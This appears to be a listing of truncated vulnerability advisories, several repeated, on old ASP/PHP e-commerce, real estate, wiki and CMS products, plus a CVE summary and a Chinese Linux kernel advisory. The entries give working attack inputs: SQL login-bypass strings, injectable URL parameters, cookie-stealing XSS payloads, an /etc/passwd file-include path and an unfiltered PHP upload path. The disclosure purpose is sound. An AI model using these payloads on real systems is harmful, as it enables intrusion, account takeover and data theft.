A+ Store E-Commerce[ injection sql & xss (post) ]

vendor site:http://www.webinhabit.com/ product:A+ Store E-Commerce bug:injection sql & xss post risk:medium injection sql get : http://site.com/browse.asp?ParentID='sql xss post : in /accountlogin.asp: username =...

E-Calendar Pro 3.0 [ login bypass & injection sql (post)]

vendor site:http://www.futuretec-soft.com/ product:E-Calendar Pro 3.0 bug:login bypass & injection sql post risk:high login bypass : username: 'or''=' passwd: 'or''=' injection sql post: in : /search.asp post your query into the search engine . laurent gaffie & benjamin mosse http://s-a-p.ca/...

Car Site Manager [injection sql & xss (get)]

Car Site Manager injection sql & xss get vendor site:http://www.mginternet.com/ product:Car Site Manager bug:injection sql risk:medium injection sql : http://site.com/csm/asp/detail.asp?l=&p='sql http://site.com/csm/asp/listings.asp?l='sql http://site.com/csm/asp/listings.asp?s=search&typ='sql...

Property Site Manager [login bypass ,multiples injection sql & xss (get)]

vendor site:http://www.mginternet.com/ product:Property Site Manager bug:injection sql ,login bypass , xss risk:medium login bypass : just login with : user: 'or''=' passwd: 'or''=' injection sql : http://site.com/asp/detail.asp?l=&p='sql http://site.com/asp/listings.asp?l='sql...

hpecs shopping cart[login bypass & injection sql (post)]

vendor site:http://hpe.net/ product:hpecs shopping cart bug:injection sql risk:high login bypass : username: 'or''=' passwd: 'or''=' injection sql post : http://site.com/searchlist.asp variables: HpecsFind=maingroup&searchstring='sql or just post your query in the search engine ... laurent gaffie...

infinicart.txt

vendor site: http://www.ecommercemax.com/ product : infinicart bug: multiples injection sql & xss language : asp risk : high injection sql get: /infinicart-demo/browsegroup.asp?groupid=sql /infinicart-demo/addedtocart.asp?productid=sql /infinicart-demo/browsesubcat.asp?catid=sql...

Hpecs Shopping Cart - Remote Authentication Bypass

Hpecs Shopping Cart - Remote Authentication Bypass vendor site:http://hpe.net/ product:hpecs shopping cart bug:injection sql risk:high login bypass : username: 'or''=' passwd: 'or''=' injection sql post : http://site.com/searchlist.asp variables: HpecsFind=maingroup&searchstring='sql or just post...

Hpecs Shopping Cart - Remote Authentication Bypass

vendor site:http://hpe.net/ product:hpecs shopping cart bug:injection sql risk:high login bypass : username: 'or''=' passwd: 'or''=' injection sql post : http://site.com/searchlist.asp variables: HpecsFind=maingroup&searchstring='sql or just post your query in the search engine ... laurent gaffié...

landshop.txt

vendor site: http://www.landshop.gr/ product: LandShop Real Estate bug: multiple injection sql & xss risk : high xss get : http://site.com/PATH/action/ls.php?lang=en&action=list&start='"alertdocument.cookie http://site.com/PATH/action/ls.php?lang=en&action=list&start=0&CATID='"alertdocument.cooki...

Wheatblog [multiple xss (post) & full path disclosure]

vendor site: http://wheatblog.sourceforge.net/ product : Wheatblog bug: multiple xss post & full path disclosure risk : medium xss post : /addcomment.php vulnerable fieds : - Name - WWW - Comment impact: an attacker can steal the cookie from every persons who is watching at the comments. full pat...

abarcarSQL.txt

software:Abarcar product:Realty Portal vendor site : http://www.abarcar.com/ risk : medium /newsdetails.php?neid=sql /slistl.php?slid=sql /content.php?cat=sql laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected]...

Portix-PHP [login bypass & xss (post)]

product:Portix-PHP vendor site :http://portix2.be risk : medium log with : username: 'or''=' passwd : 'or''=' xss post on the forum , vulnerable fields : titre auteur laurent gaffiй & benjamin mossй http://s-a-p.ca/ contact: [email protected]...

portixSQL.txt

product:Portix-PHP vendor site :http://portix2.be risk : medium log with : username: 'or''=' passwd : 'or''=' xss post on the forum , vulnerable fields : titre auteur laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected]...

FreeWebshop <=2.2.2 [local file include & xss]

FreeWebshop =2.2.2 severity: hight vendor site: http://www.freewebshop.org/ impact: an anonymous user can access anyfile on the remote server PoC : http://site.com/?page=../../../../../../../../../../etc/passwd00 http://site.com/index.php?page=../../../../../../../../../../etc/passwd00 xss get :...

Speedwiki 2.0 Arbitrary File Upload Vulnerability

product :Speedwiki 2.0 vendor site: http://speedywiki.sourceforge.net/ risk:critical a user logged in , can upload a PHP script on the server , by the upload script , there's actually no upload filter on this cms path : /speedywiki/index.php?upload=1 xss get :...

speedwiki20.txt

product :Speedwiki 2.0 vendor site: http://speedywiki.sourceforge.net/ risk:critical a user logged in , can upload a PHP script on the server , by the upload script , there's actually no upload filter on this cms path : /speedywiki/index.php?upload=1 xss get :...

CVE-2006-5797: Undefined Security Weakness

Multiple SQL injection vulnerabilities in default.asp in Xenis.creator CMS allow remote attackers to execute arbitrary SQL commands via the 1 nav, 2 s, or 3 print parameters...

aiocp13007.txt

AIOCP '"alertdocument.cookie - /public/code/cpforumview.php?fmode=top&topid=53&forid='"alertdocument.cookie - /public/code/cpforumview.php?fmode=top&topid=53&forid=23&catid='"alertdocument.cookie - /public/code/cpdpage.php?choosedlanguage='"alertdocument.cookie -...

IF-CMS multiples XSS vunerabilities

vendor site: http://www.rhadrix.com/ risk : low xss = /index.php?rns=/titlescriptalertdocument.cookie/script full path array /index.php?rns= /index.php?pag= benjamin mosse & laurent gaffie http://s-a-p.ca/...

Linux Kernel S/390 copy_from_user本地信息泄露漏洞

Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel实现上存在漏洞，本地攻击者可能利用此漏洞导致内核内存泄露。 如果接收到了无效的用户空间地址的话，Linux的copyfromuser函数就无法正确地清除内核缓冲区。这允许攻击者通过从无效的地址附加文件导致读取未初始化的内核内存。这个漏洞仅影响s390架构。 Linux kernel 2.6.19-rc1 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.kernel.org/...